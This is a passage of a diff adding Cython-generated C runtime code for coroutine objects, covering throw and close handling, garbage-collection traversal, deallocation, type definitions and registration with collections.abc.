PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received 